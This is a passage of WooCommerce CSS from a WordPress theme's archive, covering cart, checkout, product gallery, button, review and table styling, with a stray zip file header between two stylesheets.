.woocommerce-page table.cart td.actions .coupon .input-text,
.woocommerce-page #content table.cart td.actions .coupon input,
.woocommerce-page #content table.cart td.actions .coupon .button,
.woocommerce-page #content table.cart td.actions .coupon .input-text {
  width: 48%;
  box-sizing: border-box;
}
.woocommerce table.cart td.actions .coupon .input-text + .button,
.woocommerce table.cart td.actions .coupon .button.alt,
.woocommerce #content table.cart td.actions .coupon .input-text + .button,
.woocommerce #content table.cart td.actions .coupon .button.alt,
.woocommerce-page table.cart td.actions .coupon .input-text + .button,
.woocommerce-page table.cart td.actions .coupon .button.alt,
.woocommerce-page #content table.cart td.actions .coupon .input-text + .button,
.woocommerce-page #content table.cart td.actions .coupon .button.alt {
  float: right;
}
.woocommerce table.cart td.actions .button,
.woocommerce #content table.cart td.actions .button,
.woocommerce-page table.cart td.actions .button,
.woocommerce-page #content table.cart td.actions .button {
  display: block;
  width: 100%;
}
.woocommerce .cart-collaterals .cart_totals,
.woocommerce .cart-collaterals .shipping_calculator,
.woocommerce .cart-collaterals .cross-sells,
.woocommerce-page .cart-collaterals .cart_totals,
.woocommerce-page .cart-collaterals .shipping_calculator,
.woocommerce-page .cart-collaterals .cross-sells {
  width: 100%;
  float: none;
  text-align: left;
}
.woocommerce.woocommerce-checkout form.login .form-row,
.woocommerce-page.woocommerce-checkout form.login .form-row {
  width: 100%;
  float: none;
}
.woocommerce #payment .terms,
.woocommerce-page #payment .terms {
  text-align: left;
  padding: 0;
}
.woocommerce #payment #place_order,
.woocommerce-page #payment #place_order {
  float: none;
  width: 100%;
  box-sizing: border-box;
  margin-bottom: 1em;
}
.woocommerce .lost_reset_password .form-row-first,
.woocommerce .lost_reset_password .form-row-last,
.woocommerce-page .lost_reset_password .form-row-first,
.woocommerce-page .lost_reset_password .form-row-last {
  width: 100%;
  float: none;
  margin-right: 0;
}

.woocommerce-account .woocommerce-MyAccount-navigation,
.woocommerce-account .woocommerce-MyAccount-content {
  float: none;
  width: 100%;
}

/**
 * Twenty Thirteen specific styles
 */
.single-product .twentythirteen .panel {
  padding-left: 20px !important;
  padding-right: 20px !important;
}
PK     N\a
* * )  inc/woocommerce/css/build/woocommerce.cssnu [        @charset "UTF-8";
/**
 * woocommerce.scss
 * Governs the general look and feel of WooCommerce sections of stores using themes that do not
 * integrate with WooCommerce specifically.
 */
/**
 * Imports
 */
/**
 * Deprecated
 * Fallback for bourbon equivalent
 */
/**
 * Deprecated
 * Vendor prefix no longer required.
 */
/**
 * Deprecated
 * Vendor prefix no longer required.
 */
/**
 * Deprecated
 * Vendor prefix no longer required.
 */
/**
 * Deprecated
 * Vendor prefix no longer required.
 */
/**
 * Deprecated
 * Vendor prefix no longer required.
 */
/**
 * Deprecated
 * Vendor prefix no longer required.
 */
/**
 * Deprecated
 * Vendor prefix no longer required.
 */
/**
 * Deprecated
 * Vendor prefix no longer required.
 */
/**
 * Deprecated
 * Vendor prefix no longer required.
 */
/**
 * Deprecated
 * Vendor prefix no longer required.
 */
/**
 * Deprecated
 * Vendor prefix no longer required.
 */
/**
 * Deprecated
 * Use bourbon mixin instead `@include transform(scale(1.5));`
 */
/**
 * Deprecated
 * Use bourbon mixin instead `@include box-sizing(border-box);`
 */
/**
 * Objects
 */
/**
 * WooCommerce CSS Variables
 */
:root {
  --woocommerce: #a46497;
  --wc-green: #7ad03a;
  --wc-red: #a00;
  --wc-orange: #ffba00;
  --wc-blue: #2ea2cc;
  --wc-primary: #a46497;
  --wc-primary-text: white;
  --wc-secondary: #ebe9eb;
  --wc-secondary-text: #515151;
  --wc-highlight: #77a464;
  --wc-highligh-text: white;
  --wc-content-bg: #fff;
  --wc-subtext: #767676;
}

/**
 * _animation.scss
 * Custom WooCommerce Animations.
 */
@keyframes spin {
  100% {
    transform: rotate(360deg);
  }
}
/**
 * _fonts.scss
 * Custom WooCommerce fonts.
 */
@font-face {
  font-family: "star";
  src: url("../../../../../../plugins/woocommerce/assets/fonts/star.eot");
  src: url("../../../../../../plugins/woocommerce/assets/fonts/star.eot?#iefix") format("embedded-opentype"), url("../../../../../../plugins/woocommerce/assets/fonts/star.woff") format("woff"), url("../../../../../../plugins/woocommerce/assets/fonts/star.ttf") format("truetype"), url("../../../../../../plugins/woocommerce/assets/fonts/star.svg#star") format("svg");
  font-weight: normal;
  font-style: normal;
}
@font-face {
  font-family: "WooCommerce";
  src: url("../../../../../../plugins/woocommerce/assets/fonts/WooCommerce.eot");
  src: url("../../../../../../plugins/woocommerce/assets/fonts/WooCommerce.eot?#iefix") format("embedded-opentype"), url("../../../../../../plugins/woocommerce/assets/fonts/WooCommerce.woff") format("woff"), url("../../../../../../plugins/woocommerce/assets/fonts/WooCommerce.ttf") format("truetype"), url("../../../../../../plugins/woocommerce/assets/fonts/WooCommerce.svg#WooCommerce") format("svg");
  font-weight: normal;
  font-style: normal;
}
/**
 * Global styles
 */
p.demo_store,
.woocommerce-store-notice {
  position: absolute;
  top: 0;
  left: 0;
  right: 0;
  margin: 0;
  width: 100%;
  font-size: 1em;
  padding: 1em 0;
  text-align: center;
  background-color: #a46497;
  color: white;
  z-index: 99998;
  box-shadow: 0 1px 1em rgba(0, 0, 0, 0.2);
  display: none;
}
p.demo_store a,
.woocommerce-store-notice a {
  color: white;
  text-decoration: underline;
}

.screen-reader-text {
  clip: rect(1px, 1px, 1px, 1px);
  height: 1px;
  overflow: hidden;
  position: absolute !important;
  width: 1px;
  word-wrap: normal !important;
}

.admin-bar p.demo_store {
  top: 32px;
}

/**
 * Utility classes
 */
.clear {
  clear: both;
}

/**
 * Main WooCommerce styles
 */
.woocommerce {
  /**
   * Product Page
   */
  /**
   * Product loops
   */
  /**
   * Buttons
   */
  /**
   * Reviews
   */
  /**
   * Star ratings
   */
  /**
   * Tables
   */
  /**
   * Cart sidebar
   */
  /**
   * Forms
   */
  /**
   * Order page
   */
  /**
   * Layered nav widget
   */
  /**
   * Price filter widget
   */
  /**
   * Rating Filter Widget
   */
}
.woocommerce .blockUI.blockOverlay {
  position: relative;
}
.woocommerce a.remove {
  display: block;
  font-size: 1.5em;
  height: 1em;
  width: 1em;
  text-align: center;
  line-height: 1;
  border-radius: 100%;
  color: red;
  text-decoration: none;
  font-weight: 700;
  border: 0;
}
.woocommerce a.remove:hover {
  color: #fff !important;
  background: red;
}
.woocommerce small.note {
  display: block;
  color: #767676;
  font-size: 0.857em;
  margin-top: 10px;
}
.woocommerce .woocommerce-breadcrumb {
  *zoom: 1;
  margin: 0 0 1em;
  padding: 0;
  font-size: 0.92em;
  color: #767676;
}
.woocommerce .woocommerce-breadcrumb::before, .woocommerce .woocommerce-breadcrumb::after {
  content: " ";
  display: table;
}
.woocommerce .woocommerce-breadcrumb::after {
  clear: both;
}
.woocommerce .woocommerce-breadcrumb a {
  color: #767676;
}
.woocommerce .quantity .qty {
  width: 3.631em;
  text-align: center;
}
.woocommerce div.product {
  margin-bottom: 0;
  position: relative;
}
.woocommerce div.product .product_title {
  clear: none;
  margin-top: 0;
  padding: 0;
}
.woocommerce div.product span.price,
.woocommerce div.product p.price {
  color: #77a464;
  font-size: 1.25em;
}
.woocommerce div.product span.price ins,
.woocommerce div.product p.price ins {
  background: inherit;
  font-weight: 700;
  display: inline-block;
}
.woocommerce div.product span.price del,
.woocommerce div.product p.price del {
  opacity: 0.5;
  display: inline-block;
}
.woocommerce div.product p.stock {
  font-size: 0.92em;
}
.woocommerce div.product .stock {
  color: #77a464;
}
.woocommerce div.product .woocommerce-product-rating {
  margin-bottom: 1.618em;
}
.woocommerce div.product div.images {
  margin-bottom: 2em;
}
.woocommerce div.product div.images img {
  display: block;
  width: 100%;
  height: auto;
  box-shadow: none;
}
.woocommerce div.product div.images div.thumbnails {
  padding-top: 1em;
}
.woocommerce div.product div.images.woocommerce-product-gallery {
  position: relative;
}
.woocommerce div.product div.images .woocommerce-product-gallery__wrapper {
  transition: all cubic-bezier(0.795, -0.035, 0, 1) 0.5s;
  margin: 0;
  padding: 0;
  vertical-align: top;
}
.woocommerce div.product div.images .woocommerce-product-gallery__wrapper .zoomImg {
  background-color: #fff;
  opacity: 0;
}
.woocommerce div.product div.images .woocommerce-product-gallery__image--placeholder {
  border: 1px solid #f2f2f2;
}
.woocommerce div.product div.images .woocommerce-product-gallery__image:nth-child(n+2) {
  width: 25%;
  display: inline-block;
}
.woocommerce div.product div.images .woocommerce-product-gallery__trigger {
  position: absolute;
  top: 0.5em;
  right: 0.5em;
  font-size: 2em;
  z-index: 9;
  width: 36px;
  height: 36px;
  background: #fff;
  text-indent: -9999px;
  border-radius: 100%;
  box-sizing: content-box;
}
.woocommerce div.product div.images .woocommerce-product-gallery__trigger::before {
  content: "";
  display: block;
  width: 10px;
  height: 10px;
  border: 2px solid #000;
  border-radius: 100%;
  position: absolute;
  top: 9px;
  left: 9px;
  box-sizing: content-box;
}
.woocommerce div.product div.images .woocommerce-product-gallery__trigger::after {
  content: "";
  display: block;
  width: 2px;
  height: 8px;
  background: #000;
  border-radius: 6px;
  position: absolute;
  top: 19px;
  left: 22px;
  transform: rotate(-45deg);
  box-sizing: content-box;
}
.woocommerce div.product div.images .flex-control-thumbs {
  overflow: hidden;
  zoom: 1;
  margin: 0;
  padding: 0;
}
.woocommerce div.product div.images .flex-control-thumbs li {
  width: 25%;
  float: left;
  margin: 0;
  list-style: none;
}
.woocommerce div.product div.images .flex-control-thumbs li img {
  cursor: pointer;
  opacity: 0.5;
  margin: 0;
}
.woocommerce div.product div.images .flex-control-thumbs li img.flex-active, .woocommerce div.product div.images .flex-control-thumbs li img:hover {
  opacity: 1;
}
.woocommerce div.product .woocommerce-product-gallery--columns-3 .flex-control-thumbs li:nth-child(3n+1) {
  clear: left;
}
.woocommerce div.product .woocommerce-product-gallery--columns-4 .flex-control-thumbs li:nth-child(4n+1) {
  clear: left;
}
.woocommerce div.product .woocommerce-product-gallery--columns-5 .flex-control-thumbs li:nth-child(5n+1) {
  clear: left;
}
.woocommerce div.product div.summary {
  margin-bottom: 2em;
}
.woocommerce div.product div.social {
  text-align: right;
  margin: 0 0 1em;
}
.woocommerce div.product div.social span {
  margin: 0 0 0 2px;
}
.woocommerce div.product div.social span span {
  margin: 0;
}
.woocommerce div.product div.social span .stButton .chicklets {
  padding-left: 16px;
  width: 0;
}
.woocommerce div.product div.social iframe {
  float: left;
  margin-top: 3px;
}
.woocommerce div.product .woocommerce-tabs ul.tabs {
  list-style: none;
  padding: 0 0 0 1em;
  margin: 0 0 1.618em;
  overflow: hidden;
  position: relative;
}
.woocommerce div.product .woocommerce-tabs ul.tabs li {
  border: 1px solid #d3ced2;
  background-color: #ebe9eb;
  display: inline-block;
  position: relative;
  z-index: 0;
  border-radius: 4px 4px 0 0;
  margin: 0 -5px;
  padding: 0 1em;
}
.woocommerce div.product .woocommerce-tabs ul.tabs li a {
  display: inline-block;
  padding: 0.5em 0;
  font-weight: 700;
  color: #515151;
  text-decoration: none;
}
.woocommerce div.product .woocommerce-tabs ul.tabs li a:hover {
  text-decoration: none;
  color: #6b6b6b;
}
.woocommerce div.product .woocommerce-tabs ul.tabs li.active {
  background: #fff;
  z-index: 2;
  border-bottom-color: #fff;
}
.woocommerce div.product .woocommerce-tabs ul.tabs li.active a {
  color: inherit;
  text-shadow: inherit;
}
.woocommerce div.product .woocommerce-tabs ul.tabs li.active::before {
  box-shadow: 2px 2px 0 #fff;
}
.woocommerce div.product .woocommerce-tabs ul.tabs li.active::after {
  box-shadow: -2px 2px 0 #fff;
}
.woocommerce div.product .woocommerce-tabs ul.tabs li::before, .woocommerce div.product .woocommerce-tabs ul.tabs li::after {
  border: 1px solid #d3ced2;
  position: absolute;
  bottom: -1px;
  width: 5px;
  height: 5px;
  content: " ";
  box-sizing: border-box;
}
.woocommerce div.product .woocommerce-tabs ul.tabs li::before {
  left: -5px;
  border-bottom-right-radius: 4px;
  border-width: 0 1px 1px 0;
  box-shadow: 2px 2px 0 #ebe9eb;
}
.woocommerce div.product .woocommerce-tabs ul.tabs li::after {
  right: -5px;
  border-bottom-left-radius: 4px;
  border-width: 0 0 1px 1px;
  box-shadow: -2px 2px 0 #ebe9eb;
}
.woocommerce div.product .woocommerce-tabs ul.tabs::before {
  position: absolute;
  content: " ";
  width: 100%;
  bottom: 0;
  left: 0;
  border-bottom: 1px solid #d3ced2;
  z-index: 1;
}
.woocommerce div.product .woocommerce-tabs .panel {
  margin: 0 0 2em;
  padding: 0;
}
.woocommerce div.product p.cart {
  margin-bottom: 2em;
  *zoom: 1;
}
.woocommerce div.product p.cart::before, .woocommerce div.product p.cart::after {
  content: " ";
  display: table;
}
.woocommerce div.product p.cart::after {
  clear: both;
}
.woocommerce div.product form.cart {
  margin-bottom: 2em;
  *zoom: 1;
}
.woocommerce div.product form.cart::before, .woocommerce div.product form.cart::after {
  content: " ";
  display: table;
}
.woocommerce div.product form.cart::after {
  clear: both;
}
.woocommerce div.product form.cart div.quantity {
  float: left;
  margin: 0 4px 0 0;
}
.woocommerce div.product form.cart table {
  border-width: 0 0 1px;
}
.woocommerce div.product form.cart table td {
  padding-left: 0;
}
.woocommerce div.product form.cart table div.quantity {
  float: none;
  margin: 0;
}
.woocommerce div.product form.cart table small.stock {
  display: block;
  float: none;
}
.woocommerce div.product form.cart .variations {
  margin-bottom: 1em;
  border: 0;
  width: 100%;
}
.woocommerce div.product form.cart .variations td,
.woocommerce div.product form.cart .variations th {
  border: 0;
  vertical-align: top;
  line-height: 2em;
}
.woocommerce div.product form.cart .variations label {
  font-weight: 700;
}
.woocommerce div.product form.cart .variations select {
  max-width: 100%;
  min-width: 75%;
  display: inline-block;
  margin-right: 1em;
}
.woocommerce div.product form.cart .variations td.label {
  padding-right: 1em;
}
.woocommerce div.product form.cart .woocommerce-variation-description p {
  margin-bottom: 1em;
}
.woocommerce div.product form.cart .reset_variations {
  visibility: hidden;
  font-size: 0.83em;
}
.woocommerce div.product form.cart .wc-no-matching-variations {
  display: none;
}
.woocommerce div.product form.cart .button {
  vertical-align: middle;
  float: left;
}
.woocommerce div.product form.cart .group_table td.woocommerce-grouped-product-list-item__label {
  padding-right: 1em;
  padding-left: 1em;
}
.woocommerce div.product form.cart .group_table td {
  vertical-align: top;
  padding-bottom: 0.5em;
  border: 0;
}
.woocommerce div.product form.cart .group_table td:first-child {
  width: 4em;
  text-align: center;
}
.woocommerce div.product form.cart .group_table .wc-grouped-product-add-to-cart-checkbox {
  display: inline-block;
  width: auto;
  margin: 0 auto;
  transform: scale(1.5, 1.5);
}
.woocommerce span.onsale {
  min-height: 3.236em;
  min-width: 3.236em;
  padding: 0.202em;
  font-size: 1em;
  font-weight: 700;
  position: absolute;
  text-align: center;
  line-height: 3.236;
  top: -0.5em;
  left: -0.5em;
  margin: 0;
  border-radius: 100%;
  background-color: #77a464;
  color: white;
  font-size: 0.857em;
  z-index: 9;
}
.woocommerce .products ul,
.woocommerce ul.products {
  margin: 0 0 1em;
  padding: 0;
  list-style: none outside;
  clear: both;
  *zoom: 1;
}
.woocommerce .products ul::before, .woocommerce .products ul::after,
.woocommerce ul.products::before,
.woocommerce ul.products::after {
  content: " ";
  display: table;
}
.woocommerce .products ul::after,
.woocommerce ul.products::after {
  clear: both;
}
.woocommerce .products ul li,
.woocommerce ul.products li {
  list-style: none outside;
}
.woocommerce ul.products li.product {
  /*.price {
      color: $highlight;
      display: block;
      font-weight: normal;
      margin-bottom: 0.5em;
      font-size: 0.857em;

      del {
          color: inherit;
          opacity: 0.5;
          display: inline-block;
      }

      ins {
          background: none;
          font-weight: 700;
          display: inline-block;
      }

      .from {
          font-size: 0.67em;
          margin: -2px 0 0 0;
          text-transform: uppercase;
          color: rgba(desaturate($highlight, 75%), 0.5);
      }
  }*/
}
.woocommerce ul.products li.product .onsale {
  top: 0;
  right: 0;
  left: auto;
  margin: -0.5em -0.5em 0 0;
}
.woocommerce ul.products li.product a {
  text-decoration: none;
}
.woocommerce ul.products li.product a img {
  width: 100%;
  height: auto;
  display: block;
  box-shadow: none;
}
.woocommerce ul.products li.product strong {
  display: block;
}
.woocommerce ul.products li.product .woocommerce-placeholder {
  border: 1px solid #f2f2f2;
}
.woocommerce ul.products li.product .star-rating {
  font-size: 0.857em;
}
.woocommerce ul.products li.product .button {
  margin-top: 1em;
}
.woocommerce .woocommerce-result-count {
  margin: 0 0 1em;
}
.woocommerce .woocommerce-ordering {
  margin: 0 0 1em;
}
.woocommerce .woocommerce-ordering select {
  vertical-align: top;
}
.woocommerce nav.woocommerce-pagination {
  text-align: center;
}
.woocommerce nav.woocommerce-pagination ul {
  display: inline-block;
  white-space: nowrap;
  padding: 0;
  clear: both;
  border: 1px solid #d3ced2;
  border-right: 0;
  margin: 1px;
}
.woocommerce nav.woocommerce-pagination ul li {
  border-right: 1px solid #d3ced2;
  padding: 0;
  margin: 0;
  float: left;
  display: inline;
  overflow: hidden;
}
.woocommerce nav.woocommerce-pagination ul li a,
.woocommerce nav.woocommerce-pagination ul li span {
  margin: 0;
  text-decoration: none;
  padding: 0;
  line-height: 1;
  font-size: 1em;
  font-weight: normal;
  padding: 0.5em;
  min-width: 1em;
  display: block;
}
.woocommerce nav.woocommerce-pagination ul li span.current,
.woocommerce nav.woocommerce-pagination ul li a:hover,
.woocommerce nav.woocommerce-pagination ul li a:focus {
  background: #ebe9eb;
  color: #8a7e88;
}
.woocommerce a.button,
.woocommerce button.button,
.woocommerce input.button,
.woocommerce #respond input#submit {
  font-size: 100%;
  margin: 0;
  line-height: 1;
  cursor: pointer;
  position: relative;
  text-decoration: none;
  overflow: visible;
  padding: 0.618em 1em;
  font-weight: 700;
  border-radius: 3px;
  left: auto;
  color: #515151;
  background-color: #ebe9eb;
  border: 0;
  display: inline-block;
  background-image: none;
  box-shadow: none;
  text-shadow: none;
}
.woocommerce a.button.loading,
.woocommerce button.button.loading,
.woocommerce input.button.loading,
.woocommerce #respond input#submit.loading {
  opacity: 0.25;
}
.woocommerce a.button.loading::after,
.woocommerce button.button.loading::after,
.woocommerce input.button.loading::after,
.woocommerce #respond input#submit.loading::after {
  font-family: "WooCommerce";
  content: "";
  vertical-align: top;
  font-weight: 400;
  position: absolute;
  top: 0.618em;
  right: 1em;
  animation: spin 2s linear infinite;
}
.woocommerce a.button.added::after,
.woocommerce button.button.added::after,
.woocommerce input.button.added::after,
.woocommerce #respond input#submit.added::after {
  font-family: "WooCommerce";
  content: "";
  margin-left: 0.53em;
  vertical-align: bottom;
}
.woocommerce a.button:hover,
.woocommerce button.button:hover,
.woocommerce input.button:hover,
.woocommerce #respond input#submit:hover {
  background-color: #dfdcde;
  text-decoration: none;
  background-image: none;
  color: #515151;
}
.woocommerce a.button.alt,
.woocommerce button.button.alt,
.woocommerce input.button.alt,
.woocommerce #respond input#submit.alt {
  background-color: #a46497;
  color: white;
  -webkit-font-smoothing: antialiased;
}
.woocommerce a.button.alt:hover,
.woocommerce button.button.alt:hover,
.woocommerce input.button.alt:hover,
.woocommerce #respond input#submit.alt:hover {
  background-color: #96588a;
  color: white;
}
.woocommerce a.button.alt.disabled, .woocommerce a.button.alt:disabled, .woocommerce a.button.alt:disabled[disabled], .woocommerce a.button.alt.disabled:hover, .woocommerce a.button.alt:disabled:hover, .woocommerce a.button.alt:disabled[disabled]:hover,
.woocommerce button.button.alt.disabled,
.woocommerce button.button.alt:disabled,
.woocommerce button.button.alt:disabled[disabled],
.woocommerce button.button.alt.disabled:hover,
.woocommerce button.button.alt:disabled:hover,
.woocommerce button.button.alt:disabled[disabled]:hover,
.woocommerce input.button.alt.disabled,
.woocommerce input.button.alt:disabled,
.woocommerce input.button.alt:disabled[disabled],
.woocommerce input.button.alt.disabled:hover,
.woocommerce input.button.alt:disabled:hover,
.woocommerce input.button.alt:disabled[disabled]:hover,
.woocommerce #respond input#submit.alt.disabled,
.woocommerce #respond input#submit.alt:disabled,
.woocommerce #respond input#submit.alt:disabled[disabled],
.woocommerce #respond input#submit.alt.disabled:hover,
.woocommerce #respond input#submit.alt:disabled:hover,
.woocommerce #respond input#submit.alt:disabled[disabled]:hover {
  background-color: #a46497;
  color: white;
}
.woocommerce a.button:disabled, .woocommerce a.button.disabled, .woocommerce a.button:disabled[disabled],
.woocommerce button.button:disabled,
.woocommerce button.button.disabled,
.woocommerce button.button:disabled[disabled],
.woocommerce input.button:disabled,
.woocommerce input.button.disabled,
.woocommerce input.button:disabled[disabled],
.woocommerce #respond input#submit:disabled,
.woocommerce #respond input#submit.disabled,
.woocommerce #respond input#submit:disabled[disabled] {
  color: inherit;
  cursor: not-allowed;
  opacity: 0.5;
  padding: 0.618em 1em;
}
.woocommerce a.button:disabled:hover, .woocommerce a.button.disabled:hover, .woocommerce a.button:disabled[disabled]:hover,
.woocommerce button.button:disabled:hover,
.woocommerce button.button.disabled:hover,
.woocommerce button.button:disabled[disabled]:hover,
.woocommerce input.button:disabled:hover,
.woocommerce input.button.disabled:hover,
.woocommerce input.button:disabled[disabled]:hover,
.woocommerce #respond input#submit:disabled:hover,
.woocommerce #respond input#submit.disabled:hover,
.woocommerce #respond input#submit:disabled[disabled]:hover {
  color: inherit;
  background-color: #ebe9eb;
}
.woocommerce .cart .button,
.woocommerce .cart input.button {
  float: none;
}
.woocommerce a.added_to_cart {
  padding-top: 0.5em;
  display: inline-block;
}
.woocommerce #reviews h2 small {
  float: right;
  color: #767676;
  font-size: 15px;
  margin: 10px 0 0;
}
.woocommerce #reviews h2 small a {
  text-decoration: none;
  color: #767676;
}
.woocommerce #reviews h3 {
  margin: 0;
}
.woocommerce #reviews #respond {
  margin: 0;
  border: 0;
  padding: 0;
}
.woocommerce #reviews #comment {
  height: 75px;
}
.woocommerce #reviews #comments .add_review {
  *zoom: 1;
}
.woocommerce #reviews #comments .add_review::before, .woocommerce #reviews #comments .add_review::after {
  content: " ";
  display: table;
}
.woocommerce #reviews #comments .add_review::after {
  clear: both;
}
.woocommerce #reviews #comments h2 {
  clear: none;
}
.woocommerce #reviews #comments ol.commentlist {
  *zoom: 1;
  margin: 0;
  width: 100%;
  background: none;
  list-style: none;
}
.woocommerce #reviews #comments ol.commentlist::before, .woocommerce #reviews #comments ol.commentlist::after {
  content: " ";
  display: table;
}
.woocommerce #reviews #comments ol.commentlist::after {
  clear: both;
}
.woocommerce #reviews #comments ol.commentlist li {
  padding: 0;
  margin: 0 0 20px;
  border: 0;
  position: relative;
  background: 0;
  border: 0;
}
.woocommerce #reviews #comments ol.commentlist li .meta {
  color: #767676;
  font-size: 0.75em;
}
.woocommerce #reviews #comments ol.commentlist li img.avatar {
  float: left;
  position: absolute;
  top: 0;
  left: 0;
  padding: 3px;
  width: 32px;
  height: auto;
  background: #ebe9eb;
  border: 1px solid #e4e1e3;
  margin: 0;
  box-shadow: none;
}
.woocommerce #reviews #comments ol.commentlist li .comment-text {
  margin: 0 0 0 50px;
  border: 1px solid #e4e1e3;
  border-radius: 4px;
  padding: 1em 1em 0;
  *zoom: 1;
}
.woocommerce #reviews #comments ol.commentlist li .comment-text::before, .woocommerce #reviews #comments ol.commentlist li .comment-text::after {
  content: " ";
  display: table;
}
.woocommerce #reviews #comments ol.commentlist li .comment-text::after {
  clear: both;
}
.woocommerce #reviews #comments ol.commentlist li .comment-text p {
  margin: 0 0 1em;
}
.woocommerce #reviews #comments ol.commentlist li .comment-text p.meta {
  font-size: 0.83em;
}
.woocommerce #reviews #comments ol.commentlist ul.children {
  list-style: none outside;
  margin: 20px 0 0 50px;
}
.woocommerce #reviews #comments ol.commentlist ul.children .star-rating {
  display: none;
}
.woocommerce #reviews #comments ol.commentlist #respond {
  border: 1px solid #e4e1e3;
  border-radius: 4px;
  padding: 1em 1em 0;
  margin: 20px 0 0 50px;
}
.woocommerce #reviews #comments .commentlist > li::before {
  content: "";
}
.woocommerce .star-rating {
  float: right;
  overflow: hidden;
  position: relative;
  height: 1em;
  line-height: 1;
  font-size: 1em;
  width: 5.4em;
  font-family: "star";
}
.woocommerce .star-rating::before {
  content: "sssss";
  color: #d3ced2;
  float: left;
  top: 0;
  left: 0;
  position: absolute;
}
.woocommerce .star-rating span {
  overflow: hidden;
  float: left;
  top: 0;
  left: 0;
  position: absolute;
  padding-top: 1.5em;
}
.woocommerce .star-rating span::before {
  content: "SSSSS";
  top: 0;
  position: absolute;
  left: 0;
}
.woocommerce .woocommerce-product-rating {
  *zoom: 1;
  line-height: 2;
  display: block;
}
.woocommerce .woocommerce-product-rating::before, .woocommerce .woocommerce-product-rating::after {
  content: " ";
  display: table;
}
.woocommerce .woocommerce-product-rating::after {
  clear: both;
}
.woocommerce .woocommerce-product-rating .star-rating {
  margin: 0.5em 4px 0 0;
  float: left;
}
.woocommerce .products .star-rating {
  display: block;
  margin: 0 0 0.5em;
  float: none;
}
.woocommerce .hreview-aggregate .star-rating {
  margin: 10px 0 0;
}
.woocommerce #review_form #respond {
  *zoom: 1;
  position: static;
  margin: 0;
  width: auto;
  padding: 0;
  background: transparent none;
  border: 0;
}
.woocommerce #review_form #respond::before, .woocommerce #review_form #respond::after {
  content: " ";
  display: table;
}
.woocommerce #review_form #respond::after {
  clear: both;
}
.woocommerce #review_form #respond p {
  margin: 0 0 10px;
}
.woocommerce #review_form #respond .form-submit input {
  left: auto;
}
.woocommerce #review_form #respond textarea {
  box-sizing: border-box;
  width: 100%;
}
.woocommerce p.stars a {
  position: relative;
  height: 1em;
  width: 1em;
  text-indent: -999em;
  display: inline-block;
  text-decoration: none;
}
.woocommerce p.stars a::before {
  display: block;
  position: absolute;
  top: 0;
  left: 0;
  width: 1em;
  height: 1em;
  line-height: 1;
  font-family: "WooCommerce";
  content: "";
  text-indent: 0;
}
.woocommerce p.stars a:hover ~ a::before {
  content: "";
}
.woocommerce p.stars:hover a::before {
  content: "";
}
.woocommerce p.stars.selected a.active::before {
  content: "";
}
.woocommerce p.stars.selected a.active ~ a::before {
  content: "";
}
.woocommerce p.stars.selected a:not(.active)::before {
  content: "";
}
.woocommerce table.shop_attributes {
  border: 0;
  border-top: 1px solid var(--pcborder-cl);
  margin-bottom: 1.618em;
  width: 100%;
}
.woocommerce table.shop_attributes th {
  width: 150px;
  font-weight: 700;
  padding: 8px 0;
  border-top: 0;
  border-bottom: 1px solid var(--pcborder-cl);
  margin: 0;
  line-height: 1.5;
}
.woocommerce table.shop_attributes td {
  font-style: normal;
  padding: 0;
  border-top: 0;
  border-bottom: 1px solid var(--pcborder-cl);
  margin: 0;
  line-height: 1.5;
}
.woocommerce table.shop_attributes td p {
  margin: 0;
  padding: 8px 0;
}
.woocommerce table.shop_attributes tr:nth-child(even) td,
.woocommerce table.shop_attributes tr:nth-child(even) th {
  background: rgba(0, 0, 0, 0.025);
}
.woocommerce table.shop_table {
  border: 1px solid var(--pcborder-cl);
  margin: 0 -1px 24px 0;
  text-align: left;
  width: 100%;
  border-collapse: separate;
  border-radius: 5px;
}
.woocommerce table.shop_table th {
  font-weight: 700;
  padding: 9px 12px;
  line-height: 1.5em;
}
.woocommerce table.shop_table td {
  border-top: 1px solid var(--pcborder-cl);
  padding: 9px 12px;
  vertical-align: middle;
  line-height: 1.5em;
}
.woocommerce table.shop_table td small {
  font-weight: normal;
}
.woocommerce table.shop_table td del {
  font-weight: normal;
}
.woocommerce table.shop_table tbody:first-child tr:first-child th,
.woocommerce table.shop_table tbody:first-child tr:first-child td {
  border-top: 0;
}
.woocommerce table.shop_table tfoot td,
.woocommerce table.shop_table tfoot th,
.woocommerce table.shop_table tbody th {
  font-weight: 700;
  border-top: 1px solid var(--pcborder-cl);
}
.woocommerce table.my_account_orders {
  font-size: 0.85em;
}
.woocommerce table.my_account_orders th,
.woocommerce table.my_account_orders td {
  padding: 4px 8px;
  vertical-align: middle;
}
.woocommerce table.my_account_orders .button {
  white-space: nowrap;
}
.woocommerce table.woocommerce-MyAccount-downloads td,
.woocommerce table.woocommerce-MyAccount-downloads th {
  vertical-align: top;
  text-align: center;
}
.woocommerce table.woocommerce-MyAccount-downloads td:first-child,
.woocommerce table.woocommerce-MyAccount-downloads th:first-child {
  text-align: left;
}
.woocommerce table.woocommerce-MyAccount-downloads td:last-child,
.woocommerce table.woocommerce-MyAccount-downloads th:last-child {
  text-align: left;
}
.woocommerce table.woocommerce-MyAccount-downloads td .woocommerce-MyAccount-downloads-file::before,
.woocommerce table.woocommerce-MyAccount-downloads th .woocommerce-MyAccount-downloads-file::before {
  content: "↓";
  display: inline-block;
}
.woocommerce td.product-name dl.variation,
.woocommerce td.product-name .wc-item-meta {
  list-style: none outside;
}
.woocommerce td.product-name dl.variation dt,
.woocommerce td.product-name dl.variation .wc-item-meta-label,
.woocommerce td.product-name .wc-item-meta dt,
.woocommerce td.product-name .wc-item-meta .wc-item-meta-label {
  float: left;
  clear: both;
  margin-right: 0.25em;
  display: inline-block;
  list-style: none outside;
}
.woocommerce td.product-name dl.variation dd,
.woocommerce td.product-name .wc-item-meta dd {
  margin: 0;
}
.woocommerce td.product-name dl.variation p, .woocommerce td.product-name dl.variation:last-child,
.woocommerce td.product-name .wc-item-meta p,
.woocommerce td.product-name .wc-item-meta:last-child {
  margin-bottom: 0;
  line-height: inherit;
}
.woocommerce td.product-name p.backorder_notification {
  font-size: 0.83em;
}
.woocommerce td.product-quantity {
  min-width: 80px;
}
.woocommerce ul.cart_list,
.woocommerce ul.product_list_widget {
  list-style: none outside;
  padding: 0;
  margin: 0;
}
.woocommerce ul.cart_list li,
.woocommerce ul.product_list_widget li {
  padding: 4px 0;
  margin: 0;
  *zoom: 1;
  list-style: none;
}
.woocommerce ul.cart_list li::before, .woocommerce ul.cart_list li::after,
.woocommerce ul.product_list_widget li::before,
.woocommerce ul.product_list_widget li::after {
  content: " ";
  display: table;
}
.woocommerce ul.cart_list li::after,
.woocommerce ul.product_list_widget li::after {
  clear: both;
